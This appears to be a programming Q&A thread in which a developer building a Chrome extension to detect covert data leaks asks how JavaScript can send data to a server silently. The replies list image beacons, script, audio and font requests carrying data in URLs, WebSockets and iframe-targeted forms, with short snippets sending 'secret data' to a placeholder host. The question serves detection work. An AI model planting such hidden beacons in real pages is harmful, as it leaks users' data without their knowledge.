Currently, we are creating Chrome extensions that detect script codes that send information secretly on web pages.
In addition, what are some ways to send information to the server in JavaScript without page transition?
What I can think of now is
1. Use XHR Request
2. Make the image download request hide as below
That's how it works.
varimg=new Image();
img.src='abc.php?d='+data;
If there is any other way, please let me know.
javascript chrome-extension
In addition to images, you can hide information in the URL of requests for any resource, including scripts, style sheets, audio, and fonts.Alternatively, you can send data over WebSocket, WebRTC, and other plug-ins like Flash, Java Applet, and Silverlight.
(Additional)
Just create the appropriate element and set the src
property just like the image.For scripts, create a script
element in document.createElement("script")
and set the src
property to any URL.
var data=encodeURI("secret data");
varscript = document.createElement("script");
script.src='http://example.com/foo.js?d='+data;
document.body.appendChild(script);
You can also use document.createElement("audio")
for audio, create a style
element with document.createElement("style")
for fonts, and then request the appropriate font URL with @import
.
Use iframe to name the target of the form with iframe's name.
Wasn't there a web socket?
ws://~~~
like
© 2024 OneMinuteCode. All rights reserved.